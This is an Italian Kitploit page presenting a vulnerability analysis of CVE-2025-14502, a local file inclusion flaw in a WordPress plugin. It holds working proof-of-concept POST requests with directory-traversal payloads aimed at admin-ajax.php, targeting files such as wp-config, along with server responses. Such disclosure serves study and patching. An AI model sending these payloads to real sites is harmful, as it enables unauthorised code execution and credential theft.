Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — Il plugin News and Blog Designer Bundle di WordPress, in tutte le versioni fino alla 1.1, presenta una vulnerabilità di inclusione locale di file tramite il parametro template. Questa vulnerabilità consente a un utente non autenticato di includere ed eseguire qualsiasi file .php sul server, eseguendo così qualsiasi codice PHP al suo interno. In scenari in cui è consentito il caricamento e l'inclusione di file di tipo .php, un attaccante può sfruttare questa vulnerabilità per bypassare i controlli di accesso, ottenere dati sensibili o eseguire codice. | Kitploit
Strumenti/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Vedi Repository
28 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

Informazioni

Il plugin News and Blog Designer Bundle di WordPress, in tutte le versioni fino alla 1.1, presenta una vulnerabilità di inclusione locale di file tramite il parametro template. Questa vulnerabilità consente a un utente non autenticato di includere ed eseguire qualsiasi file .php sul server, eseguendo così qualsiasi codice PHP al suo interno. In scenari in cui è consentito il caricamento e l'inclusione di file di tipo .php, un attaccante può sfruttare questa vulnerabilità per bypassare i controlli di accesso, ottenere dati sensibili o eseguire codice.

Condividi

Rapporto di analisi della vulnerabilità CVE-2025-14502

Riepilogo della vulnerabilità

Tipo di vulnerabilità: Inclusione locale di file (Local File Inclusion, LFI)
Versioni interessate: News and Blog Designer Bundle 1.1 e tutte le versioni precedenti
Gravità: Alta
Complessità dell'attacco: Bassa (nessuna autenticazione richiesta)

Analisi del principio della vulnerabilità

1. Posizione della vulnerabilità

La vulnerabilità principale risiede nel metodo nbdb_fetch_more_post() nel file includes/class-nbdb-ajax.php.

2. Dettagli dell'audit del codice

2.1 Posizione del codice vulnerabile

sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 Analisi delle cause della vulnerabilità

Problema 1: Uso improprio della funzione extract()

La riga 31 presenta un grave problema:

sanitize_text_field(extract( $_POST['shrt_param'] ));
  • La funzione extract() estrae le chiavi di un array come nomi di variabili e i valori come valori delle variabili, direttamente nello scope corrente.
  • Il valore restituito da extract() è il numero di variabili estratte con successo (un intero), non l'array stesso.
  • La funzione sanitize_text_field() si aspetta una stringa come parametro, ma qui viene passato un intero.
  • Pertanto questa riga di codice non offre alcuna protezione di sicurezza.

Problema 2: Mancanza di convalida dei parametri

La riga 33 utilizza direttamente la variabile $template per costruire il percorso del file:

$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • La variabile $template proviene da extract($_POST['shrt_param']), completamente controllata dall'input dell'utente.
  • Nessuna convalida tramite whitelist.
  • Nessuna normalizzazione del percorso.
  • Consente attacchi di directory traversal.

Problema 3: Solo verifica dell'esistenza del file

La riga 34 controlla solo se il file esiste:

$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() verifica solo se il file esiste, non controlla la legittimità del percorso.
  • Se un attaccante può controllare il parametro $template, può eseguire directory traversal usando ../.
  • Infine, alla riga 93 viene eseguito include($template_file), causando un'inclusione arbitraria di file.

2.3 Confronto: implementazione sicura delle funzioni di elaborazione degli shortcode

In shortcodes/class-nbdb-shortcode.php, tutte le funzioni di elaborazione degli shortcode utilizzano convalida tramite whitelist:

$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • Utilizza la funzione nbdb_post_template() per ottenere l'elenco dei template consentiti (solo template-1 e template-2).
  • Utilizza array_key_exists() per la convalida tramite whitelist.
  • Se non è nella whitelist, viene utilizzato il valore predefinito template-1.

Questo dimostra che gli sviluppatori sanno come convalidare correttamente i parametri, ma hanno omesso la convalida nelle funzioni di gestione AJAX.

3. Vettori d'attacco

3.1 Accesso non autenticato

add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • Sono registrati entrambi gli hook wp_ajax_ e wp_ajax_nopriv_.
  • wp_ajax_nopriv_ consente l'accesso a utenti non autenticati.
  • Un attaccante può sfruttare questa vulnerabilità senza alcuna autenticazione.

3.2 Flusso dell'attacco

  1. L'attaccante invia una richiesta POST dannosa a /wp-admin/admin-ajax.php
  2. Imposta action=nbdb_fetch_more_post
  3. Inietta un payload di directory traversal in shrt_param[template] (ad es. ../../../../wp-config)
  4. Il server esegue extract($_POST['shrt_param']), estraendo template come variabile
  5. Costruisce il percorso: NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. Se il file di destinazione esiste, file_exists() restituisce true
  7. Esegue include($template_file), includendo ed eseguendo il file PHP di destinazione

4. Impatto della vulnerabilità

4.1 Danni diretti

  • Esecuzione di codice: Se è possibile includere un file PHP eseguibile, potrebbe portare all'esecuzione remota di codice (RCE)
  • Divulgazione di informazioni sensibili: È possibile leggere il contenuto di file PHP sul server (come wp-config.php)
  • Escalation dei privilegi: In alcune configurazioni potrebbe bypassare i controlli di accesso

4.2 Condizioni di sfruttamento

  • Il file di destinazione deve esistere ed essere leggibile
  • Il file di destinazione deve avere estensione .php (il suffisso .php è hardcoded nel codice)
  • Il server deve consentire a include() di eseguire i file inclusi. Il prerequisito per "poter leggere" è che il PHP incluso stesso produca output visibile (echo/print/errori/risposte di protocollo), altrimenti non si vede il contenuto.

Passaggi di verifica della vulnerabilità

1. Costruzione della richiesta di test

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1 Analisi della risposta

HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. Costruzione della richiesta di test

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1 Analisi della risposta

HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8
Scarica lo strumento